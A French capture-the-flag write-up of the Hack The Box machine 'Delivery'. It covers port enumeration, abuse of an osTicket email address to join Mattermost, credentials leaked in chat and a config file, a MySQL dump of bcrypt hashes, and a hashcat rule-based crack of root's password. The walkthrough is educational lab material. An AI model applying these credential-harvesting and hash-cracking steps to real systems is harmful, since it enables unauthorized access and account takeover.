Cette machine était plutôt facile. Je me suis retrouvé bloqué parce que je n’ai pas suivi entièrement ma fiche d’astuces pour l’escalade de privilèges sous Linux, et quand j’ai eu l’idée d’ouvrir le fichier de configuration de Mattermost je ne l’ai pas lu correctement (évidemment on ne lit pas chaque petit morceau de texte, mais on parcourt au moins les titres de chaque élément) et du coup j’ai loupé les identifiants qu’il contenait. J’espère ne plus refaire cette erreur !
Enumeration Link to heading
Dans tous les scans, on voit 3 ports ouverts :
cat agressive.nmap
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http nginx 1.14.2
8065/tcp open http Golang net/http server
<SNIP>
La page web sur le port 80 est la suivante :
Le lien vers le helpdesk nous redirige vers le domaine helpdesk.delivery.htb:
Il s’agit d’un service de ticketing. On trouve également une instance du service web Mattermost:
Nous n’avons pas d’identifiants pour nous connecter à ces plateformes.
Tentons de créer un ticket sur osTicket et voyons ce qu’il se passe, j’utiliserai le nom d’utilisateur bogus :
On nous donne alors une adresse email ainsi qu’un identifiant de ticket :
On pourrait peut-être réutiliser cette adresse en @delivery.htb pour d’autres usages. Essayons de nous enregistrer sur Mattermost avec :
Les identifiants que j’ai entrés sont : u3563139:Uu35631393563139! et dès que je clique sur « Create Account », ça envoie un e-mail à l’adresse : 356139@delivery.htb. On découvre alors que tout mail envoyé à cette adresse (qui a été créée pour gérer le ticket que j’ai ouvert en tant que Bogus) apparaît ensuite dans le fil de discussion du statut du ticket.
Exploitation Link to heading
On suit le lien indiqué dans le mail :
Après avoir complété le tutoriel et en naviguant un peu, on découvre des identifiants dans certains messages :
maildeliverer:Youve_G0t_Mail! et on apprend que beaucoup de mots de passe sont des variants de PleaseSubscribe!. C’est amusant de voir les messages nous donner des indices aussi explicitement ;)
On s’authentifie sur osTicket en tant que l’agent dont on vient d’obtenir les identifiants :
Foothold Link to heading
On peut également utiliser ces mêmes identifiants pour utiliser le service SSH. Cependant, rien d’intéressant n’est trouvé avec l’outil LinEnum.sh.
Le message interne nous donne à penser qu’il y aurait des hashes à trouver.
En vérifiant les services Mattermost, on trouve un gros fichier de configuration /opt/mattermost/config/config.json qui contient des identifiants :
"ElasticsearchSettings": {
"ConnectionUrl": "http://localhost:9200",
"Username": "elastic",
"Password": "changeme",
Cependant, on ne voit rien tourner sur le port 9200 :
$ ss | grep 9200
$
En m’aidant des indices, j’ai trouvé des paramètres SQL écrits dans le fichier de configuration Mattermost.
"SqlSettings": {
"DriverName": "mysql",
"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTim$
"DataSourceReplicas": [],
"DataSourceSearchReplicas": [],
"MaxIdleConns": 20,
"ConnMaxLifetimeMilliseconds": 3600000,
"MaxOpenConns": 300,
"Trace": false,
"AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
"QueryTimeout": 30,
"DisableDatabaseSearch": false
Le fichier n’était pas si long, j’aurais pu deviné tout seul. À l’avenir, je me souviendrai de vérifier tous les fichiers de configuration de services et les lire intégralement.
Lateral Movement Link to heading
mysql -u mmuser -pCrack_The_MM_Admin_PW
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mattermost |
+--------------------+
MariaDB [(none)]> use mattermost;
MariaDB [mattermost]> show tables;
+------------------------+
| Tables_in_mattermost |
+------------------------+
| Audits |
| Bots |
| ChannelMemberHistory |
| ChannelMembers |
| Channels |
| ClusterDiscovery |
| CommandWebhooks |
| Commands |
| Compliances |
| Emoji |
| FileInfo |
| GroupChannels |
| GroupMembers |
| GroupTeams |
| IncomingWebhooks |
| Jobs |
| Licenses |
| LinkMetadata |
| OAuthAccessData |
| OAuthApps |
| OAuthAuthData |
| OutgoingWebhooks |
| PluginKeyValueStore |
| Posts |
| Preferences |
| ProductNoticeViewState |
| PublicChannels |
| Reactions |
| Roles |
| Schemes |
| Sessions |
| SidebarCategories |
| SidebarChannels |
| Status |
| Systems |
| TeamMembers |
| Teams |
| TermsOfService |
| ThreadMemberships |
| Threads |
| Tokens |
| UploadSessions |
| UserAccessTokens |
| UserGroups |
| UserTermsOfService |
| Users |
+------------------------+
46 rows in set (0.001 sec)
La table Users a l’air très intéressante, étudions-la :
MariaDB [mattermost]> select column_name from information_schema.columns where table_name='Users';
+--------------------+
| column_name |
+--------------------+
| Id |
| CreateAt |
| UpdateAt |
| DeleteAt |
| Username |
| Password |
| AuthData |
| AuthService |
| Email |
| EmailVerified |
| Nickname |
| FirstName |
| LastName |
| Position |
| Roles |
| AllowMarketing |
| Props |
| NotifyProps |
| LastPasswordUpdate |
| LastPictureUpdate |
| FailedAttempts |
| Locale |
| Timezone |
| MfaActive |
| MfaSecret |
+--------------------+
25 rows in set (0.001 sec)
Regardons le contenu des colonnes Username et Password :
MariaDB [mattermost]> select Username, Password, Email from Users;
+----------------------------------+--------------------------------------------------------------+-------------------------+
| Username | Password | Email |
+----------------------------------+--------------------------------------------------------------+-------------------------+
| surveybot | | surveybot@localhost |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | 4120849@delivery.htb |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | 7466068@delivery.htb |
| root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | root@delivery.htb |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | 9122359@delivery.htb |
| channelexport | | channelexport@localhost |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | 5056505@delivery.htb |
+----------------------------------+--------------------------------------------------------------+-------------------------+
Génial ! On trouve le hash d’un utilisateur appelé root !
Escalation Link to heading
Ce type de hash ne me saute pas aux yeux, pour l’identifier je vais m’aider de ce ce site.
Apparemment, l’algorithme de chiffrement s’appelle Blowfish. Dans la documentation hashcat, on trouve cette ligne :
On va donc utiliser hashcat avec le mode 3200. Et c’est là que le message qu’on a lu plus haut prend toute son importance. Créons une liste de mots de passe avec différentes variations de PleaseSubscribe! :
echo 'PleaseSubscribe!' > password
hashcat --stdout password -r $(locate best64.rule) --backend-ignore-cuda > passwords.list
Récemment, mon ordinateur a eu du mal à faire tourner hashcat avec mon GPU actuel, c’est pour ça que je dois ajouter --backend-ignore-cuda.
Voici le début de notre liste de mots de passe :
head passwords.list
PleaseSubscribe!
!ebircsbuSesaelP
PLEASESUBSCRIBE!
pleaseSubscribe!
PleaseSubscribe!0
PleaseSubscribe!1
PleaseSubscribe!2
PleaseSubscribe!3
PleaseSubscribe!4
PleaseSubscribe!5
Tentons de craquer le hash de root :
hashcat -m 3200 root.hash passwords.list --backend-ignore-cuda
Et on trouve le mot de passe : PleaseSubscribe!21. On ne pourra probablement accéder à la machine avec SSH en tant que root directement, mais on pourra peut-être utiliser la commande su et s’authentifier comme ça :
maildeliverer@Delivery:~$ su root
Password:
root@Delivery:/home/maildeliverer#
Et voilà, la machine est terminée !